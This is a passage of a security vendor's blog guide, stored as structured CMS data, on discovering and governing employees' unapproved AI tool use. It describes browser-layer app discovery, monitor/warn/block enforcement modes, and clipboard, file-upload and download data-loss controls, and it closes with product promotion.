",[],{},{"nodeType":883,"data":884,"content":886},"hyperlink",{"uri":885},"https://pushsecurity.com/blog/what-push-data-reveals-about-the-state-of-shadow-ai/",[887],{"nodeType":864,"value":888,"marks":889,"data":890},"Push telemetry",[],{},{"nodeType":864,"value":892,"marks":893,"data":894}," shows that the average organization has ",[],{},{"nodeType":864,"value":896,"marks":897,"data":900},"16 AI apps, 17 AI browser extensions,",[898],{"type":899},"bold",{},{"nodeType":864,"value":902,"marks":903,"data":904}," and ",[],{},{"nodeType":864,"value":906,"marks":907,"data":909},"17 AI OAuth integrations",[908],{"type":899},{},{"nodeType":864,"value":911,"marks":912,"data":913}," in active use during a typical week — most unapproved. Meanwhile, ",[],{},{"nodeType":883,"data":915,"content":917},{"uri":916},"https://www.okta.com/newsroom/articles/ai-agents-at-work-2026-agentic-enterprise-security/",[918],{"nodeType":864,"value":919,"marks":920,"data":921},"Okta found",[],{},{"nodeType":864,"value":923,"marks":924,"data":925}," that 80% of employees who use unapproved AI tools do so because it's easier to use their own accounts, and 57% because the approval process is too slow.",[],{},{"nodeType":860,"data":927,"content":928},{},[929],{"nodeType":864,"value":930,"marks":931,"data":932},"The organizations getting this right have stopped treating AI governance as an access-control problem — which tools to allow, which to block — and started treating it as an invitation to build out an infrastructure to enable appropriate use. Employees are going to use the tools they need to get their work done. The question is whether they'll use them on a path you built and instrumented, or on one they carved themselves.",[],{},{"nodeType":860,"data":934,"content":935},{},[936],{"nodeType":864,"value":937,"marks":938,"data":939},"This guide walks through how to build that paved path. Using Push, you can:",[],{},{"nodeType":941,"data":942,"content":943},"unordered-list",{},[944,955,965,975,985],{"nodeType":945,"data":946,"content":947},"list-item",{},[948],{"nodeType":860,"data":949,"content":950},{},[951],{"nodeType":864,"value":952,"marks":953,"data":954},"Identify shadow AI, including personal accounts on approved corporate apps, AI browser extensions, OAuth integrations into sensitive systems, and AI browser usage.",[],{},{"nodeType":945,"data":956,"content":957},{},[958],{"nodeType":860,"data":959,"content":960},{},[961],{"nodeType":864,"value":962,"marks":963,"data":964},"Enforce policies on data flows into and out of AI apps, including blocking unapproved file uploads, downloads, and clipboard pastes; and monitoring AI chat transcripts.",[],{},{"nodeType":945,"data":966,"content":967},{},[968],{"nodeType":860,"data":969,"content":970},{},[971],{"nodeType":864,"value":972,"marks":973,"data":974},"Use just-in-time guardrails to intercept users accessing unapproved AI tools and point them at approved alternatives.",[],{},{"nodeType":945,"data":976,"content":977},{},[978],{"nodeType":860,"data":979,"content":980},{},[981],{"nodeType":864,"value":982,"marks":983,"data":984},"Prevent unwanted MCP connections with app-agnostic controls.",[],{},{"nodeType":945,"data":986,"content":987},{},[988],{"nodeType":860,"data":989,"content":990},{},[991],{"nodeType":864,"value":992,"marks":993,"data":994},"Automate a lot of the work so you don’t burn out your team as the AI landscape continues to shift.",[],{},{"nodeType":996,"data":997,"content":1003},"embedded-entry-block",{"target":998},{"sys":999},{"id":1000,"type":1001,"linkType":1002},"29N8YH9As3GHypOve3br80","Link","Entry",[],{"nodeType":1005,"data":1006,"content":1007},"hr",{},[],{"nodeType":1009,"data":1010,"content":1011},"heading-1",{},[1012],{"nodeType":864,"value":1013,"marks":1014,"data":1016},"What is shadow AI, and why can't you manage it like shadow IT?",[1015],{"type":899},{},{"nodeType":860,"data":1018,"content":1019},{},[1020],{"nodeType":864,"value":1021,"marks":1022,"data":1023},"Shadow AI is any use of AI tools, services, or integrations that happens outside an organization's security governance and visibility. Security teams have been managing shadow SaaS for years, but shadow AI can't be addressed with the same playbook — for three reasons.",[],{},{"nodeType":860,"data":1025,"content":1026},{},[1027,1032],{"nodeType":864,"value":1028,"marks":1029,"data":1031},"First",[1030],{"type":899},{},{"nodeType":864,"value":1033,"marks":1034,"data":1035},", it spans multiple categories that each need different controls: unapproved AI apps, personal accounts on approved corporate AI tools, AI browser extensions, and OAuth integrations into corporate systems. Blocking unapproved apps doesn't address personal accounts on approved ones, and neither solves the extension or OAuth problem. ",[],{},{"nodeType":996,"data":1037,"content":1041},{"target":1038},{"sys":1039},{"id":1040,"type":1001,"linkType":1002},"2hsKQ9DEspflhmtR0bE7QY",[],{"nodeType":860,"data":1043,"content":1044},{},[1045,1050],{"nodeType":864,"value":1046,"marks":1047,"data":1049},"Second",[1048],{"type":899},{},{"nodeType":864,"value":1051,"marks":1052,"data":1053},", the tools most organizations rely on to manage shadow SaaS — SWGs, CASBs, EDR, IdP logs — are structurally blind to shadow AI. An SWG sees that someone visited an AI domain but can't tell you whether they logged in, pasted source code into a prompt, or granted OAuth access to your Google Workspace tenant. EDR doesn't see browser-layer activity at all. IdP logs capture OAuth grants routed through the identity provider but miss tools accessed via direct signup or personal accounts. Instead, the activity security teams need to see happens primarily inside the browser.",[],{},{"nodeType":996,"data":1055,"content":1059},{"target":1056},{"sys":1057},{"id":1058,"type":1001,"linkType":1002},"1vE0dyAKdnTSjyAJ4Xoadd",[],{"nodeType":860,"data":1061,"content":1062},{},[1063,1068],{"nodeType":864,"value":1064,"marks":1065,"data":1067},"Third",[1066],{"type":899},{},{"nodeType":864,"value":1069,"marks":1070,"data":1071},", the risk profile is different. Shadow AI tools increasingly function as hubs — connected via OAuth integrations and MCP to email, cloud storage, code repositories, and other high-value systems. They leak sensitive data outward (employees paste source code, credentials, and internal documents into prompts daily) while simultaneously expanding the attack surface inward (compromise a single AI app and an attacker inherits whatever access the employee granted it, turning one ungoverned tool into a pivot point across the SaaS estate). ",[],{},{"nodeType":996,"data":1073,"content":1077},{"target":1074},{"sys":1075},{"id":1076,"type":1001,"linkType":1002},"3ldZ23OORTu7INBfSnE7R7",[],{"nodeType":1005,"data":1079,"content":1080},{},[],{"nodeType":1009,"data":1082,"content":1083},{},[1084],{"nodeType":864,"value":1085,"marks":1086,"data":1088},"Why blocking AI usage fails",[1087],{"type":899},{},{"nodeType":860,"data":1090,"content":1091},{},[1092],{"nodeType":864,"value":1093,"marks":1094,"data":1095},"The instinct to block AI tools makes sense. Executives are asking about AI risk to the business, a new tool appears every week, and blocking unapproved apps feels like a quick way to stop the bleeding.",[],{},{"nodeType":860,"data":1097,"content":1098},{},[1099,1103,1111],{"nodeType":864,"value":1100,"marks":1101,"data":1102},"Unfortunately, blocking doesn't work for long. The latest security frameworks — including the ",[],{},{"nodeType":883,"data":1104,"content":1106},{"uri":1105},"https://www.sans.org/mlp/2026-ai-security-maturity-model-ebook",[1107],{"nodeType":864,"value":1108,"marks":1109,"data":1110},"SANS AI Security Maturity Model",[],{},{"nodeType":864,"value":1112,"marks":1113,"data":1114}," — all agree: Block-based AI policies drive usage underground rather than preventing it. ",[],{},{"nodeType":1116,"data":1117,"content":1118},"blockquote",{},[1119],{"nodeType":860,"data":1120,"content":1121},{},[1122],{"nodeType":864,"value":1123,"marks":1124,"data":1125},"A block-based AI policy may feel like risk management, but practitioner experience shows that it typically drives AI usage underground rather than preventing it. The goal is not to eliminate AI use; it is to bring it into visibility where it can be governed.",[],{},{"nodeType":860,"data":1127,"content":1128},{},[1129],{"nodeType":864,"value":1130,"marks":1131,"data":1132},"These kinds of barricades also fail for a structural reason: They're built on the network perimeter, and AI usage doesn't cross the perimeter in ways network tools can inspect.",[],{},{"nodeType":860,"data":1134,"content":1135},{},[1136],{"nodeType":864,"value":1137,"marks":1138,"data":1139},"The most damaging consequence of blocking isn't the workarounds themselves — it's the loss of visibility. To begin building a better path for employees, you have to start with seeing what's actually happening.",[],{},{"nodeType":1005,"data":1141,"content":1142},{},[],{"nodeType":1009,"data":1144,"content":1145},{},[1146],{"nodeType":864,"value":1147,"marks":1148,"data":1150},"Using Push to discover, govern, and control shadow AI",[1149],{"type":899},{},{"nodeType":860,"data":1152,"content":1153},{},[1154],{"nodeType":864,"value":1155,"marks":1156,"data":1157},"Push Security is a browser security platform that gets you the vantage point you need to start addressing shadow AI. Push deploys as a lightweight extension to employees' existing browsers rather than requiring a full browser migration, giving security teams visibility into browser-layer activity that network and endpoint tools structurally lack.",[],{},{"nodeType":860,"data":1159,"content":1160},{},[1161,1165,1170,1174,1179],{"nodeType":864,"value":1162,"marks":1163,"data":1164},"Push discovers AI tools through ",[],{},{"nodeType":864,"value":1166,"marks":1167,"data":1169},"automatic",[1168],{"type":899},{},{"nodeType":864,"value":1171,"marks":1172,"data":1173}," ",[],{},{"nodeType":864,"value":1175,"marks":1176,"data":1178},"app discovery",[1177],{"type":899},{},{"nodeType":864,"value":1180,"marks":1181,"data":1182},", allowing you to identify applications from actual browser login events rather than network traffic logs. ",[],{},{"nodeType":996,"data":1184,"content":1188},{"target":1185},{"sys":1186},{"id":1187,"type":1001,"linkType":1002},"4eTkgU2dxhMueHPiwuCWDl",[],{"nodeType":860,"data":1190,"content":1191},{},[1192],{"nodeType":864,"value":1193,"marks":1194,"data":1195},"When an employee signs into a new AI service, Push registers the authentication event, identifies the application, and logs how the employee authenticated — corporate SSO, OIDC, a standalone password, or a personal account. ",[],{},{"nodeType":860,"data":1197,"content":1198},{},[1199,1203,1208],{"nodeType":864,"value":1200,"marks":1201,"data":1202},"Push then applies ",[],{},{"nodeType":864,"value":1204,"marks":1205,"data":1207},"app categories ",[1206],{"type":899},{},{"nodeType":864,"value":1209,"marks":1210,"data":1211},"automatically, classifying the discovered application by type without requiring security teams to build or maintain manual lists.",[],{},{"nodeType":860,"data":1213,"content":1214},{},[1215,1219,1224],{"nodeType":864,"value":1216,"marks":1217,"data":1218},"Push extends the same discovery across the other three shadow AI dimensions. The platform’s ",[],{},{"nodeType":864,"value":1220,"marks":1221,"data":1223},"browser extension discovery ",[1222],{"type":899},{},{"nodeType":864,"value":1225,"marks":1226,"data":1227},"capability catalogs every AI-related extension installed across the workforce, including the specific permissions each extension has requested (access to page content, browsing history, clipboard data), allowing you to review whether those permission combinations could enable data exfiltration or account takeover. ",[],{},{"nodeType":996,"data":1229,"content":1233},{"target":1230},{"sys":1231},{"id":1232,"type":1001,"linkType":1002},"1z56sTWWN9E35dE3HhbRNY",[],{"nodeType":860,"data":1235,"content":1236},{},[1237,1241,1246],{"nodeType":864,"value":1238,"marks":1239,"data":1240},"Push’s ",[],{},{"nodeType":864,"value":1242,"marks":1243,"data":1245},"OAuth integration discovery",[1244],{"type":899},{},{"nodeType":864,"value":1247,"marks":1248,"data":1249}," identifies OAuth connections between AI tools and corporate systems — the grants that create persistent API-level access to platforms like Google Workspace.",[],{},{"nodeType":860,"data":1251,"content":1252},{},[1253,1257,1262],{"nodeType":864,"value":1254,"marks":1255,"data":1256},"For each discovered tool, Push also captures authentication context that points to ",[],{},{"nodeType":864,"value":1258,"marks":1259,"data":1261},"where hidden security risks lie",[1260],{"type":899},{},{"nodeType":864,"value":1263,"marks":1264,"data":1265},": SSO vs. password vs. personal account, MFA status, and password strength. An AI tool accessed via corporate SSO with MFA is a different risk than the same tool accessed through a personal Gmail account with a reused password. Similarly, employees using only a password to access AI tools that they’ve integrated with other sensitive corporate systems introduces another level of downstream risk. That context is what makes the inventory actionable.",[],{},{"nodeType":860,"data":1267,"content":1268},{},[1269],{"nodeType":864,"value":1270,"marks":1271,"data":1272},"Push also detects when employees are adopting agentic browsers — autonomous AI-powered browsers like Comet, Atlas, and Dia that browse the web and interact with applications on behalf of users or automated workflows. ",[],{},{"nodeType":860,"data":1274,"content":1275},{},[1276],{"nodeType":864,"value":1277,"marks":1278,"data":1279},"These represent an emerging category of non-human AI identity. They authenticate to SaaS applications, access corporate data, and make API calls, but they aren't managed through traditional identity infrastructure. Push helps you identify these agentic browsers as they appear in the environment, before they become a blind spot.",[],{},{"nodeType":860,"data":1281,"content":1282},{},[1283],{"nodeType":864,"value":1284,"marks":1285,"data":1286},"Returning to the paved path metaphor, this step is about surveying the site before you figure out where to put in the path. You need to understand who’s already doing what, where, so you can find the risks you need to address.",[],{},{"nodeType":996,"data":1288,"content":1292},{"target":1289},{"sys":1290},{"id":1291,"type":1001,"linkType":1002},"5iXyJbxwWiUt7WoP7FF0Y2",[],{"nodeType":1005,"data":1294,"content":1295},{},[],{"nodeType":1009,"data":1297,"content":1298},{},[1299],{"nodeType":864,"value":1300,"marks":1301,"data":1303},"Step-by-step guide to enforcing AI governance without blocking everything",[1302],{"type":899},{},{"nodeType":860,"data":1305,"content":1306},{},[1307],{"nodeType":864,"value":1308,"marks":1309,"data":1310},"The barricade approach favored by existing solutions like network proxies gives you two options: Allow or block. Enforcing AI policy effectively requires a third approach with a bit more nuance: Guide the user to do the right thing. ",[],{},{"nodeType":1312,"data":1313,"content":1314},"heading-2",{},[1315],{"nodeType":864,"value":1316,"marks":1317,"data":1318},"Building the \"paved path\" with Push",[],{},{"nodeType":860,"data":1320,"content":1321},{},[1322],{"nodeType":864,"value":1323,"marks":1324,"data":1325},"Push provides all three options as configurable enforcement modes for a variety of readymade controls. Progressing between them is how organizations can move from \"we don't know what people are doing with AI\" to evidence-based governance.",[],{},{"nodeType":860,"data":1327,"content":1328},{},[1329,1333,1338],{"nodeType":864,"value":1330,"marks":1331,"data":1332},"Push can be deployed silently and begin observing AI usage with no employee-facing intervention. This is effectively Push in ",[],{},{"nodeType":864,"value":1334,"marks":1335,"data":1337},"Monitor",[1336],{"type":899},{},{"nodeType":864,"value":1339,"marks":1340,"data":1341}," mode.",[],{},{"nodeType":860,"data":1343,"content":1344},{},[1345],{"nodeType":864,"value":1346,"marks":1347,"data":1348},"The platform records which tools are in use, how employees authenticated, and what usage patterns are emerging. Most organizations should start here to generate a baseline. Telemetry can be streamed to your SIEM or other downstream system to get alerted to newly adopted apps and extensions, and to surface security risks like insecure accounts.",[],{},{"nodeType":860,"data":1350,"content":1351},{},[1352,1356,1361,1365,1370],{"nodeType":864,"value":1353,"marks":1354,"data":1355},"Next, most organizations will transition to ",[],{},{"nodeType":864,"value":1357,"marks":1358,"data":1360},"Acknowledge",[1359],{"type":899},{},{"nodeType":864,"value":1362,"marks":1363,"data":1364}," mode for controls like in-browser ",[],{},{"nodeType":864,"value":1366,"marks":1367,"data":1369},"App banners",[1368],{"type":899},{},{"nodeType":864,"value":1371,"marks":1372,"data":1373},". With this control, you can warn employees when they attempt to use an unapproved AI tool and point them to approved alternatives.",[],{},{"nodeType":996,"data":1375,"content":1379},{"target":1376},{"sys":1377},{"id":1378,"type":1001,"linkType":1002},"17nT8JDTyHLExwhb2upb6T",[],{"nodeType":860,"data":1381,"content":1382},{},[1383],{"nodeType":864,"value":1384,"marks":1385,"data":1386},"The employee isn't blocked — they're guided toward the governed path at the moment they're about to step off it. This is more effective than a policy document because it arrives right when they need the reminder. ",[],{},{"nodeType":996,"data":1388,"content":1392},{"target":1389},{"sys":1390},{"id":1391,"type":1001,"linkType":1002},"2lDFCuc48jcGODcwD6nYhK",[],{"nodeType":860,"data":1394,"content":1395},{},[1396,1401],{"nodeType":864,"value":1397,"marks":1398,"data":1400},"Block",[1399],{"type":899},{},{"nodeType":864,"value":1402,"marks":1403,"data":1404}," mode prevents access entirely — Push presents a blocking banner to users who attempt to log in to unapproved apps. ",[],{},{"nodeType":860,"data":1406,"content":1407},{},[1408],{"nodeType":864,"value":1409,"marks":1410,"data":1411},"Push makes the Monitor → Acknowledge → Block progression practical through automatic app categorization. This means that new AI tools inherit whatever governance mode the team has set for that category, without manual blocklist updates. All controls are configurable per user group — the data science team can use AI coding assistants while uploads from finance are restricted — because different teams have different risk profiles.",[],{},{"nodeType":996,"data":1413,"content":1417},{"target":1414},{"sys":1415},{"id":1416,"type":1001,"linkType":1002},"5EBOHy6X6iJfmzJ65txGOv",[],{"nodeType":996,"data":1419,"content":1423},{"target":1420},{"sys":1421},{"id":1422,"type":1001,"linkType":1002},"31JnX2KNCAnlaVS9Qqqh8W",[],{"nodeType":1005,"data":1425,"content":1426},{},[],{"nodeType":1009,"data":1428,"content":1429},{},[1430],{"nodeType":864,"value":1431,"marks":1432,"data":1434},"Guardrails: how to prevent data loss to AI tools",[1433],{"type":899},{},{"nodeType":860,"data":1436,"content":1437},{},[1438],{"nodeType":864,"value":1439,"marks":1440,"data":1441},"Even on the paved path, you need guardrails because preventing data loss to AI tools is a separate problem from controlling which tools employees use. An employee on an approved AI tool can still paste an AWS access key into a prompt, upload a customer spreadsheet, or share confidential documents in a conversation.",[],{},{"nodeType":860,"data":1443,"content":1444},{},[1445,1448,1457],{"nodeType":864,"value":21,"marks":1446,"data":1447},[],{},{"nodeType":883,"data":1449,"content":1450},{"uri":916},[1451],{"nodeType":864,"value":1452,"marks":1453,"data":1456},"Okta's data",[1454],{"type":1455},"underline",{},{"nodeType":864,"value":1458,"marks":1459,"data":1460}," on what employees actually share shows what’s at stake: 54% share internal messages and emails with AI tools, 39% share confidential company documents, and 28% share banking and payment information.",[],{},{"nodeType":860,"data":1462,"content":1463},{},[1464],{"nodeType":864,"value":1465,"marks":1466,"data":1467},"Blocking is too much of a blunt instrument here, as obviously, you want employees to be able to use approved tools. The answer is controlling what data enters them.",[],{},{"nodeType":1312,"data":1469,"content":1470},{},[1471],{"nodeType":864,"value":1472,"marks":1473,"data":1475},"Browser-layer controls for AI data leakage",[1474],{"type":899},{},{"nodeType":860,"data":1477,"content":1478},{},[1479],{"nodeType":864,"value":1480,"marks":1481,"data":1482},"Push addresses this problem with four browser-layer data controls, each targeting a distinct exfiltration path and supporting the same Monitor → Warn → Block enforcement modes:",[],{},{"nodeType":860,"data":1484,"content":1485},{},[1486,1491],{"nodeType":864,"value":1487,"marks":1488,"data":1490},"Clipboard blocking",[1489],{"type":899},{},{"nodeType":864,"value":1492,"marks":1493,"data":1494}," addresses the most common path for sensitive data into AI tools: copy-paste. Push matches clipboard content against preconfigured patterns for AWS access keys, GitHub tokens, API keys, credit card numbers, and personal identifiers, plus custom content rules for organization-specific data like internal project codes. ",[],{},{"nodeType":860,"data":1496,"content":1497},{},[1498,1502,1507],{"nodeType":864,"value":1499,"marks":1500,"data":1501},"In ",[],{},{"nodeType":864,"value":1503,"marks":1504,"data":1506},"Warn",[1505],{"type":899},{},{"nodeType":864,"value":1508,"marks":1509,"data":1510}," mode, Push offers a redacted version of the sensitive data so the employee can continue their work — getting help with their code, for instance — without exposing the actual credential.",[],{},{"nodeType":996,"data":1512,"content":1516},{"target":1513},{"sys":1514},{"id":1515,"type":1001,"linkType":1002},"1JarUdbe8AkJlgB0LjchNR",[],{"nodeType":860,"data":1518,"content":1519},{},[1520,1525],{"nodeType":864,"value":1521,"marks":1522,"data":1524},"File upload blocking",[1523],{"type":899},{},{"nodeType":864,"value":1526,"marks":1527,"data":1528}," prevents files from being uploaded to specific AI apps, configurable by app, user group, and file type (Push provides a list for fast configuration).",[],{},{"nodeType":860,"data":1530,"content":1531},{},[1532,1537,1541,1550,1554,1559],{"nodeType":864,"value":1533,"marks":1534,"data":1536},"File download blocking",[1535],{"type":899},{},{"nodeType":864,"value":1538,"marks":1539,"data":1540}," addresses a different common risk: Employees downloading desktop versions of AI tools, which moves usage outside the browser where Push has visibility. Download blocking also covers files generated inside web applications, such as an AI tool that produces a downloadable asset. (Push’s detection and response capabilities also protect against scenarios in which attackers present users with ",[],{},{"nodeType":883,"data":1542,"content":1544},{"uri":1543},"https://pushsecurity.com/blog/llmshare-malvertising-campaign",[1545],{"nodeType":864,"value":1546,"marks":1547,"data":1549},"faked AI tool download pages",[1548],{"type":1455},{},{"nodeType":864,"value":1551,"marks":1552,"data":1553}," as part of phishing campaigns, a technique we dubbed ",[],{},{"nodeType":864,"value":1555,"marks":1556,"data":1558},"LLMShare",[1557],{"type":899},{},{"nodeType":864,"value":1560,"marks":1561,"data":1562},".)",[],{},{"nodeType":860,"data":1564,"content":1565},{},[1566],{"nodeType":864,"value":1567,"marks":1568,"data":1569},"Push also provides telemetry streams on all file upload and download events in your environment, so you can get a baseline pattern of life and identify anomalies that could indicate insider risk. ",[],{},{"nodeType":860,"data":1571,"content":1572},{},[1573,1577,1582],{"nodeType":864,"value":1574,"marks":1575,"data":1576},"The Push platform also provides the capability to write your own ",[],{},{"nodeType":864,"value":1578,"marks":1579,"data":1581},"custom detections",[1580],{"type":899},{},{"nodeType":864,"value":1583,"marks":1584,"data":1585},", which you can use for other organization-specific use cases, or even to extend your control over GenAI tool usage, such as by blocking unapproved MCP server connections.",[],{},{"nodeType":996,"data":1587,"content":1591},{"target":1588},{"sys":1589},{"id":1590,"type":1001,"linkType":1002},"5XYVgJjgUPUfY1W1Zcgrvm",[],{"nodeType":860,"data":1593,"content":1594},{},[1595,1599,1604],{"nodeType":864,"value":1596,"marks":1597,"data":1598},"Finally, ",[],{},{"nodeType":864,"value":1600,"marks":1601,"data":1603},"AI conversation visibility",[1602],{"type":899},{},{"nodeType":864,"value":1605,"marks":1606,"data":1607}," gives you a window into what is being shared in AI chats, consumable as a stream of events to your SIEM or SOAR. Over time, you can build up a picture of what’s normal or what violates company policy, and create a queryable history to identify potential data loss during an incident response process.",[],{},{"nodeType":860,"data":1609,"content":1610},{},[1611],{"nodeType":864,"value":1612,"marks":1613,"data":1614},"Traditional DLP at the endpoint or network layer misses these paths. Network DLP and SWGs can't inspect clipboard pastes into AI prompts — there's no network event to intercept. Endpoint DLP sees file-system operations but not in-browser activity. ",[],{},{"nodeType":860,"data":1616,"content":1617},{},[1618],{"nodeType":864,"value":1619,"marks":1620,"data":1621},"Push's controls operate where the data is flowing — inside the browser session.",[],{},{"nodeType":1005,"data":1623,"content":1624},{},[],{"nodeType":1312,"data":1626,"content":1627},{},[1628],{"nodeType":864,"value":1629,"marks":1630,"data":1632},"How to keep up with AI tool sprawl",[1631],{"type":899},{},{"nodeType":860,"data":1634,"content":1635},{},[1636],{"nodeType":864,"value":1637,"marks":1638,"data":1639},"Pragmatically, the hardest part of generative AI security isn't the initial steps you take — it's keeping up with the sprawl. Point-in-time audits quickly become outdated when the landscape changes so quickly.",[],{},{"nodeType":860,"data":1641,"content":1642},{},[1643],{"nodeType":864,"value":1644,"marks":1645,"data":1646},"Push addresses this with continuous discovery, telemetry streams for the most important points of user interaction with AI apps, and controls that allow you to adapt quickly with simple configuration changes.",[],{},{"nodeType":860,"data":1648,"content":1649},{},[1650],{"nodeType":864,"value":1651,"marks":1652,"data":1653},"With automatic app categorization, if an employee starts using a new AI code assistant that didn't exist last quarter, Push discovers it, classifies it, and applies your governance rules — no manual intervention required.",[],{},{"nodeType":860,"data":1655,"content":1656},{},[1657],{"nodeType":864,"value":1658,"marks":1659,"data":1660},"All AI-related telemetry — app logins, file uploads and downloads, clipboard events, browser extensions, AI chat transcripts — can be sent as structured data to your SIEM.",[],{},{"nodeType":860,"data":1662,"content":1663},{},[1664],{"nodeType":864,"value":1665,"marks":1666,"data":1667},"This gives you all the information you need to track your progress, check your compliance status, and identify trends in AI usage and risk across your business as you make progress toward your goal, armed with the right data you didn't have before.",[],{},{"nodeType":860,"data":1669,"content":1670},{},[1671],{"nodeType":864,"value":1672,"marks":1673,"data":1674},"The goal isn't perfect control over every AI interaction. It's having enough visibility to make informed decisions and enough control to enforce them, without intensifying the shadow AI usage problem you set out to solve. Push can help you get there.",[],{},{"nodeType":1005,"data":1676,"content":1677},{},[],{"nodeType":860,"data":1679,"content":1680},{},[1681],{"nodeType":864,"value":1682,"marks":1683,"data":1684},"Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.",[],{},{"nodeType":860,"data":1686,"content":1687},{},[1688],{"nodeType":864,"value":1689,"marks":1690,"data":1691},"Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.",[],{},{"nodeType":860,"data":1693,"content":1694},{},[1695,1698,1707],{"nodeType":864,"value":21,"marks":1696,"data":1697},[],{},{"nodeType":883,"data":1699,"content":1701},{"uri":1700},"https://pushsecurity.com/demo",[1702],{"nodeType":864,"value":1703,"marks":1704,"data":1706},"Book a live demo to learn more.",[1705],{"type":1455},{},{"nodeType":864,"value":21,"marks":1708,"data":1709},[],{},{"entries":1711},{"hyperlink":1712,"inline":1713,"block":1714},[],[],[1715,1722,1731,1738,1776,1783,1790,1796,1803,1830,1838,1852,1858],{"sys":1716,"__typename":1717,"type":1718,"ctaText":1719,"buttonLabel":1720,"buttonColour":1721,"buttonUrl":58},{"id":1000},"CtaWidget","Custom","Don't miss our upcoming webinar on Shadow AI and how to manage it in your organization.","Register Now","sunny orange",{"sys":1723,"__typename":1724,"title":1725,"caption":1726,"layoutMode":59,"file":1727},{"id":1040},"Image","ai-sprawl-infographic","AI sprawl is worse than most organizations realize. ",{"url":1728,"width":1729,"height":1730},"https://images.ctfassets.net/y1cdw1ablpvd/7vCbQdyRkjLs5EmsjBBAQp/3bfb13e7ec19be76325cdc69297c48c3/ai-sprawl-infographic_2x__3_.png",1800,1192,{"sys":1732,"__typename":1724,"title":1733,"caption":1733,"layoutMode":59,"file":1734},{"id":1058},"Shadow AI visibility gaps using traditional tools",{"url":1735,"width":1736,"height":1737},"https://images.ctfassets.net/y1cdw1ablpvd/7HQl2qfsTiCwa2pRzCVqDE/d87180dd96358326097565d8a60e8591/image9.png",1999,1125,{"sys":1739,"__typename":1740,"content":1741,"name":1775,"title":59},{"id":1076},"InsightTextBlockComponent",{"json":1742},{"data":1743,"content":1744,"nodeType":856},{},[1745],{"data":1746,"content":1747,"nodeType":860},{},[1748,1752,1759,1763,1771],{"data":1749,"marks":1750,"value":1751,"nodeType":864},{},[],"Attackers are already exploiting this interconnectivity — from ",{"data":1753,"content":1754,"nodeType":883},{"uri":1543},[1755],{"data":1756,"marks":1757,"value":1758,"nodeType":864},{},[],"malvertising campaigns that impersonate AI tools",{"data":1760,"marks":1761,"value":1762,"nodeType":864},{},[]," to steal credentials, to ",{"data":1764,"content":1766,"nodeType":883},{"uri":1765},"https://pushsecurity.com/blog/analyzing-the-instructure-breach",[1767],{"data":1768,"marks":1769,"value":1770,"nodeType":864},{},[],"leveraging OAuth consent grants in supply chain attacks",{"data":1772,"marks":1773,"value":1774,"nodeType":864},{},[],". ","Shadow AI guide IB3",{"sys":1777,"__typename":1724,"title":1778,"caption":1778,"layoutMode":59,"file":1779},{"id":1187},"Push automatically discovers and inventories AI apps from browser login events.",{"url":1780,"width":1781,"height":1782},"https://images.ctfassets.net/y1cdw1ablpvd/5krEecjMxIJgVCa74A79xa/3bb94ca3b496e9486f94526d708e34d5/image8.png",1469,850,{"sys":1784,"__typename":1724,"title":1785,"caption":1785,"layoutMode":59,"file":1786},{"id":1232},"Push discovers AI browser extensions used by your users, across every browser.",{"url":1787,"width":1788,"height":1789},"https://images.ctfassets.net/y1cdw1ablpvd/14lMFifCBB9RwQpt101tNd/dabe2713e58e787175701ec0d35076ca/image2.png",1470,851,{"sys":1791,"__typename":1724,"title":1792,"caption":1792,"layoutMode":59,"file":1793},{"id":1291},"Push's four-step path to secure AI adoption",{"url":1794,"width":1736,"height":1795},"https://images.ctfassets.net/y1cdw1ablpvd/E1wuJW4EzmjeLTpnHHM9f/895569f4b215b1b7b82e697c40462cbc/image3.png",1013,{"sys":1797,"__typename":1724,"title":1798,"caption":1798,"layoutMode":59,"file":1799},{"id":1378},"Push in-browser warning screen guiding the user toward the preferred AI app",{"url":1800,"width":1801,"height":1802},"https://images.ctfassets.net/y1cdw1ablpvd/3ouLBkKhiEcBmY8V2XAaUz/71a3cb221adba7d2744ff8b02bab3891/image4.png",1435,738,{"sys":1804,"__typename":1740,"content":1805,"name":1829,"title":59},{"id":1391},{"json":1806},{"data":1807,"content":1808,"nodeType":856},{},[1809],{"data":1810,"content":1811,"nodeType":860},{},[1812,1816,1825],{"data":1813,"marks":1814,"value":1815,"nodeType":864},{},[],"“A published policy is not the same thing as people actually doing that,” explains Push customer Stephen Shkardoon, cybersecurity manager at Te Herenga Waka — Victoria University of Wellington in New Zealand, on one of the drivers for their ",{"data":1817,"content":1819,"nodeType":883},{"uri":1818},"https://pushsecurity.com/customer-stories/te-herenga-waka-victoria-university-of-wellington",[1820],{"data":1821,"marks":1822,"value":1824,"nodeType":864},{},[1823],{"type":1455},"selection of Push Security",{"data":1826,"marks":1827,"value":1828,"nodeType":864},{},[]," to get control of AI usage at their organization.","Shadow AI guide IB1",{"sys":1831,"__typename":1724,"title":1832,"caption":1833,"layoutMode":59,"file":1834},{"id":1416},"Rules for AI app controls can be configured on a variety of conditions, including user groups, app attributes, and what mode of enforcement you wish to use.","Rules for AI app controls can be configured on a variety of conditions, including user groups, app attributes, and the mode of enforcement.",{"url":1835,"width":1836,"height":1837},"https://images.ctfassets.net/y1cdw1ablpvd/7czh28QGwm0ZStUmeWXBaq/667ee2441911fa4006a2ec75ebf727ea/image6.png",692,830,{"sys":1839,"__typename":1740,"content":1840,"name":1851,"title":59},{"id":1422},{"json":1841},{"data":1842,"content":1843,"nodeType":856},{},[1844],{"data":1845,"content":1846,"nodeType":860},{},[1847],{"data":1848,"marks":1849,"value":1850,"nodeType":864},{},[],"Push customers love the flexibility of this control compared to an SWG or CASB, which often rely on binary enforcement at the domain level only. ","Shadow AI guide IB2",{"sys":1853,"__typename":1724,"title":1854,"caption":1854,"layoutMode":59,"file":1855},{"id":1515},"Push blocks clipboard copy events that violate your policy.",{"url":1856,"width":1736,"height":1857},"https://images.ctfassets.net/y1cdw1ablpvd/jjUt4bChHcCWQJXqNzyQ8/c16974d72ef2bbc65689bf46bcb59e6f/image5.png",1295,{"sys":1859,"__typename":1724,"title":1860,"caption":1860,"layoutMode":59,"file":1861},{"id":1590},"Push can block unapproved MCP connection requests in real 